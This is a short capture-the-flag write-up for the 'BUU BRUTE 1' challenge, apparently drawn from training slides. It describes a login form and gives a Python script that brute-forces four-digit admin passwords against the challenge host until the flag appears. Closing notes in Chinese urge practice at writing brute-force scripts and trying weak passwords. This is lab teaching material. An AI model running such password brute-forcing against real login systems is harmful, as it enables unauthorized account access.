# BUU BRUTE 1

A screenshot of a web application's login interface. The form is white with a dark grey header bar. It contains two input fields: 'Username' and 'Password'. The 'Username' field is a light blue rectangle containing the text 'glzjin'. The 'Password' field is a white rectangle with a blue border, containing six black dots. Below the password field is a rounded rectangular button labeled 'Submit'. On the left side of the form, there are some small, partially visible icons: a red one with two white dots and a green one.

# BUU BRUTE 1

```
import time
```

```
import requests
```

```
target = "http://06935b19-2393-4374-9c87-  
b25ca2b38d90.node2.buuoj.cn.wetolink.com:82/"
```

```
for i in range(1000, 10000):  
    time.sleep(0.06)  
    print(i)  
    r = requests.get(target, params={"username":  
"admin", "password": str(i)})
```

```
    if r.text.find("flag{") != -1:  
        print(r.text)  
        break
```

# 总结与练习

- 一般与其他点绑定出现，比如爆破一下登录密码或者弱密码（admin/admin）之类的。
- 要有能快速写出 Python 爆破脚本的能力，多加练习。
